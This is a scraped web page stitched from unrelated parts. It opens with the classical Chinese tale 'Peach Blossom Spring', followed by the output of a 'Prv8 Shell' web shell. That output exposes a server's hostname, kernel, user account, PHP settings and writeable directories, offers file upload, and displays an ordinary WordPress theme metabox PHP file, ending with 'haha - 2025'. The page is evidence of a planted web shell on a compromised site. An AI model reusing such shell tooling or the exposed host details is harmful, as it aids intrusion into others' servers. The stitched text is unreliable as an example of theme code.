晋太元中,武陵人捕鱼为业。缘溪行,忘路之远近。忽逢桃花林,夹岸数百步,中无杂树,芳草鲜美,落英缤纷。渔人甚异之,复前行,欲穷其林。   林尽水源,便得一山,山有小口,仿佛若有光。便舍船,从口入。初极狭,才通人。复行数十步,豁然开朗。土地平旷,屋舍俨然,有良田、美池、桑竹之属。阡陌交通,鸡犬相闻。其中往来种作,男女衣着,悉如外人。黄发垂髫,并怡然自乐。   见渔人,乃大惊,问所从来。具答之。便要还家,设酒杀鸡作食。村中闻有此人,咸来问讯。自云先世避秦时乱,率妻子邑人来此绝境,不复出焉,遂与外人间隔。问今是何世,乃不知有汉,无论魏晋。此人一一为具言所闻,皆叹惋。余人各复延至其家,皆出酒食。停数日,辞去。此中人语云:“不足为外人道也。”(间隔 一作:隔绝)   既出,得其船,便扶向路,处处志之。及郡下,诣太守,说如此。太守即遣人随其往,寻向所志,遂迷,不复得路。   南阳刘子骥,高尚士也,闻之,欣然规往。未果,寻病终。后遂无问津者。 .
Prv8 Shell
Server : Apache
System : Linux srv.rainic.com 4.18.0-553.47.1.el8_10.x86_64 #1 SMP Wed Apr 2 05:45:37 EDT 2025 x86_64
User : rainic ( 1014)
PHP Version : 7.4.33
Disable Function : exec,passthru,shell_exec,system
Directory :  /home/tabatabaei/.trash/wp-content.1/themes/eportfolio/inc/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : //home/tabatabaei/.trash/wp-content.1/themes/eportfolio/inc/single-meta.php
<?php
/**
 * Implement theme metabox.
 *
 * @package ePortfolio
 */
if (!function_exists('eportfolio_add_theme_meta_box')) :

    /**
     * Add the Meta Box
     *
     * @since 1.0.0
     */
    function eportfolio_add_theme_meta_box()
    {

        $screens = array('post', 'page');

        foreach ($screens as $screen) {
            add_meta_box(
                'eportfolio-theme-settings',
                esc_html__('Single Page/Post Layout Settings', 'eportfolio'),
                'eportfolio_render_theme_settings_metabox',
                $screen,
                'normal', 
            	'high'

            );
        }

    }

endif;

add_action('add_meta_boxes', 'eportfolio_add_theme_meta_box');


if ( ! function_exists( 'eportfolio_render_theme_settings_metabox' ) ) :

	/**
	 * Render theme settings meta box.
	 *
	 * @since 1.0.0
	 */
	function eportfolio_render_theme_settings_metabox( $post, $metabox ) {

		$post_id = $post->ID;
		$eportfolio_post_meta_value = get_post_meta($post_id);

		// Meta box nonce for verification.
		wp_nonce_field( basename( __FILE__ ), 'eportfolio_meta_box_nonce' );
		// Fetch Options list.
		$page_layout = get_post_meta($post_id,'eportfolio-meta-select-layout',true);
		$eportfolio_meta_checkbox = get_post_meta($post_id,'eportfolio-meta-checkbox',true);
	?>

	<div class="eportfolio-tab-main">

        <div class="eportfolio-metabox-tab">
            <ul>
                <li>
                    <a id="twp-tab-general" class="twp-tab-active" href="javascript:void(0)"><?php esc_html_e('Layout Settings', 'eportfolio'); ?></a>
                </li>
            </ul>
        </div>

        <div class="eportfolio-tab-content">
            
            <div id="twp-tab-general-content" class="eportfolio-content-wrap eportfolio-tab-content-active">

                <div class="eportfolio-meta-panels">

                    <div class="eportfolio-opt-wrap eportfolio-checkbox-wrap">

                        <input id="eportfolio-meta-checkbox" name="eportfolio-meta-checkbox" type="checkbox" <?php if ( $eportfolio_meta_checkbox ) { ?> checked="checked" <?php } ?> />

                        <label for="eportfolio-meta-checkbox"><?php esc_html_e('Check To Enable Featured Image On Single Page', 'eportfolio'); ?></label>
                    </div>

                    <div class="eportfolio-opt-wrap eportfolio-opt-wrap-alt">
						
						<label><?php esc_html_e('Single Page/Post Layout', 'eportfolio'); ?></label>

	                     <select name="eportfolio-meta-select-layout" id="eportfolio-meta-select-layout">
				            <option value="right-sidebar" <?php selected('right-sidebar',$page_layout);?>>
				            	<?php _e( 'Content - Primary Sidebar', 'eportfolio' )?>
				            </option>
				            <option value="left-sidebar" <?php selected('left-sidebar',$page_layout);?>>
				            	<?php _e( 'Primary Sidebar - Content', 'eportfolio' )?>
				            </option>
				            <option value="no-sidebar" <?php selected('no-sidebar',$page_layout);?>>
				            	<?php _e( 'No Sidebar', 'eportfolio' )?>
				            </option>
			            </select>

			        </div>

                </div>
            </div>

        </div>
    </div>

    <?php
	}

endif;



if ( ! function_exists( 'eportfolio_save_theme_settings_meta' ) ) :

	/**
	 * Save theme settings meta box value.
	 *
	 * @since 1.0.0
	 *
	 * @param int     $post_id Post ID.
	 * @param WP_Post $post Post object.
	 */
	function eportfolio_save_theme_settings_meta( $post_id, $post ) {

		// Verify nonce.
		if ( ! isset( $_POST['eportfolio_meta_box_nonce'] ) || ! wp_verify_nonce( $_POST['eportfolio_meta_box_nonce'], basename( __FILE__ ) ) ) {
			  return; }

		// Bail if auto save or revision.
		if ( defined( 'DOING_AUTOSAVE' ) || is_int( wp_is_post_revision( $post ) ) || is_int( wp_is_post_autosave( $post ) ) ) {
			return;
		}

		// Check the post being saved == the $post_id to prevent triggering this call for other save_post events.
		if ( empty( $_POST['post_ID'] ) || $_POST['post_ID'] != $post_id ) {
			return;
		}

		// Check permission.
		if ( 'page' === $_POST['post_type'] ) {
			if ( ! current_user_can( 'edit_page', $post_id ) ) {
				return; }
		} else if ( ! current_user_can( 'edit_post', $post_id ) ) {
			return;
		}

		$eportfolio_meta_checkbox =  isset( $_POST[ 'eportfolio-meta-checkbox' ] ) ? esc_attr($_POST[ 'eportfolio-meta-checkbox' ]) : '';
		update_post_meta($post_id, 'eportfolio-meta-checkbox', sanitize_text_field($eportfolio_meta_checkbox));

		$eportfolio_meta_select_layout =  isset( $_POST[ 'eportfolio-meta-select-layout' ] ) ? esc_attr($_POST[ 'eportfolio-meta-select-layout' ]) : '';
		if(!empty($eportfolio_meta_select_layout)){
			update_post_meta($post_id, 'eportfolio-meta-select-layout', sanitize_text_field($eportfolio_meta_select_layout));
		}
	}

endif;

add_action( 'save_post', 'eportfolio_save_theme_settings_meta', 10, 3 );

haha - 2025